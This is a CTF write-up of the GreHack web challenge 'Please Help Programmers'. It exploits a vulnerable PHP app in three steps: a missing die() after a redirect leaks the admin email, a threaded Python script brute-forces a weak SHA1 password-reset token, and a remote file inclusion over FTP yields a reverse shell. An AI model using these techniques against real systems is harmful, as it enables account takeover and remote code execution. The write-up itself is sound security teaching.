Introduction

This year again, I was happy to be part of the organization committee for the GreHack conference and I created some challenges for the CTF. Organization was tricky this year, given that we had grown and sold almost 3x as many tickets as in previous years. Thanks to all the participants, organizers and sponsors, the event was once again complety insane 🔥 💚

Challenge

  • Name : Please Help Programmers
  • Category : Web
  • Difficulty : Medium
  • Solves : 3
  • Points : 500
  • Author : Nishacid

You constantly blame your PHP developer friend for the language he’s chosen, saying it’s not secure. To defend himself, he’s developed an open-source website that demonstrates good PHP practices.

Step 1 - Email leak

This whitebox challenge appears to be a simple web application, with a few features such as a login, a register, a reset password pages and a dashboard. The first thing to do is to check the init.sql file to see if there is any user credentials.

/* <?= password_hash("admin", PASSWORD_BCRYPT); ?> */
INSERT INTO users (username, email, password) VALUES ('admin', '[email protected]', '$2y$10$q2FbMoksc6wgqGBDsmcgsOn9D/iPH56eNy7Bs2dk6JGjqQc/ScY7y');

Of course, the hardcoded credentials are just here for example purposes and do not work on the application, and the user is not registered on the application.

Looking at the index.php file, we can see that the application is using a switch statement to handle the different actions based on the action GET parameter.

$action = $_GET['action'] ?? null;

switch ($action) {
    case 'register':
        // ...
    case 'login':
        // ...
    case 'logout':
        // ...
    case 'dashboard':
        // ...
    case 'reset_request':
        // ...
    case 'reset_password':
        // ...
    case 'infos':
        // ...
        default:
        include __DIR__ . '/views/auth/login.php';
}

We can of course register a new account, but as expected, we are not admin and we cannot use all the features of the application. The interesting case in the switch statement is the infos action, which is used to display some information about the user, but this action check if the username is admin, and if not, redirect us to the login page.

case 'infos':
    if ($_SESSION['username'] !== 'admin') {
        header('Location: /?action=login');
    }
    $users = $authController->getAllUsers();

    include __DIR__ . '/views/infos.php';
    break;

The problem here, is that there is a missing die(); after the header('Location: /?action=login'); statement, which allows us to access the infos page with a simple curl as the code will be executed after the redirection.

curl -ski 'https://please-help-programmers.ctf.grehack.fr/?action=infos'
HTTP/1.1 302 Found
[...]
Location: /?action=login
Content-Length: 655
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
[...]
    <h1>Users list</h1>
    <table border="1">
        <tr>
            <th>Username</th>
            <th>Email</th>
        </tr>
                    <tr>
                <td>admin</td>
                <td>[email protected]</td>
            </tr>
            </table>
</body>
</html>

And we got the admin’s email [email protected]

Step 2 - Weak Cryptography on reset password

Now that we have the admin’s email, we can take a look at the reset password feature.

class PasswordController {
    private $user;

    public function __construct($pdo) {
        $this->user = new User($pdo);
    }
    public function requestPasswordReset($email) {
        $user = $this->user->getUserByEmail($email); 
        if (!$user) {
            header('Location: /?action=reset_request&status=email_not_found');
            exit();
        }
    
        $token = TokenGenerator::generateToken($user);
    
        if ($this->user->setResetTokenByEmail($email, $token)) {
            // TODO : Dev feature to send email with reset link
            header('Location: /?action=reset_request&status=email_sent');
            exit();
        } else {
            header('Location: /?action=reset_request&status=failed');
            exit();
        }
    }

We can see that the requestPasswordReset method is using a TokenGenerator::generateToken($user) function to generate a token for the user and then set it in the database for the given email, but the feature to send an email is not implemented.

Looking at the TokenGenerator::generateToken($user) function, we observe that the token is generated using the user’s username, email, a random number in a range between 0 and 1337, the current date and time and a hardcoded salt.

<?php
class TokenGenerator {
    private const SALT = '6f7851';

    public static function generateToken($user) {
        return sha1($user['username'] . '-' . $user['email'] . random_int(0, 1337) . date('Y-m-d H:i:s') . self::SALT);
    }
}
?>

That’s a very weak token generation method, as the token is generated using many values that we know, we only need to brute-force the random number to find the correct token. Using the following script, it took less than 1minute to find the correct token.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from hashlib import sha1
from requests import get
from sys import exit
from concurrent.futures import ThreadPoolExecutor, as_completed

salt = '6f7851' # Hardcoded salt 
random_range = 1337  # Range for random_int()
WORKERS = 20 # Number of workers

def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
    data = f"{username}-{email}{random_int_val}{timestamp_req}{salt}"
    hash_candidate = sha1(data.encode()).hexdigest()
    url = f"{domain}?action=reset_password&token={hash_candidate}"
    response = get(url, allow_redirects=False)
    
    if 'Invalid or expired token' not in response.text:
        return (True, random_int_val, hash_candidate, url)
    return (False, random_int_val, None, None)

def main(timestamp_req: str, domain: str, username: str, email: str):
    print(f"[*] Starting brute-force, it can take few minutes...")
    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
        
        for future in as_completed(futures):
            success, random_int_val, hash_candidate, url = future.result()
            if success:
                print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
                print(f"[+] URL: {url}")
                exit()
        else:
            print("[-] Key not found.")

if __name__ == "__main__":
    timestamp_req = "2024-11-26 21:44:52" # from burp suite
    domain = "https://please-help-programmers.ctf.grehack.fr/"
    username = "admin"
    email = "[email protected]"
    main(timestamp_req, domain, username, email)

So simply intercept a request while asking for a password reset with a proxy, grab the timestamp for the request, and run the script to find the token.

» python3 solve.py
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 231, hash: fa693b7275b2d9e063afd9ef3fbbc581abe13257
[+] URL: https://please-help-programmers.ctf.grehack.fr/?action=reset_password&token=fa693b7275b2d9e063afd9ef3fbbc581abe13257

We are now able to login as admin on the dashboard page.

Step 3 - File Inclusion

The reason why we absolutly need an admin account on the dashboard is due to a very interesting feature who permits us to include a new card.

<?php
/* Include a special card */
if ($_SESSION['username'] === 'admin') {
    if (isset($_GET["special_card"])) {
        $card = htmlspecialchars($_GET["special_card"]);
        if (file_exists($card) && substr($card, -5) == '.html') {
            include($card);
        } else {
            echo "<div class='alert alert-danger text-center'>File not found or not an HTML file.</div>";
        }
    }
}
?>

To include a new card, the function check if the file name end with .html and if the file exists, if so, it will include the file.

Okay, the first one was a joke, the include() php function absolutely doesn’t care about the file extension, it will execute the code inside as if it was a php file, for example if we include the file foo.php, it will be the same as if we include the file foo.html, for foo.foo, or foo.bar, etc…

But for the second one, it’s a bit more tricky, the file_exists() function will check if the file exists on the server, and if so, it will return true, but if the file is not present on the server, it will return false, and this doesn’t work for file that are not present on the server for example if we include http://attacker.com/foo.html, it will return false.

Thanks to the giga chad @Worty, he found that if we use the ftp:// protocol, it will make the FTP request and return true if the file exists. According to this, we can simply create a simple FTP server to host a html file, which contains a reverse shell, and include it to get a RCE.

  • Flag : GH{Y0u_4r3_NoWw_4_pHp_3xp3rt!!}

Resources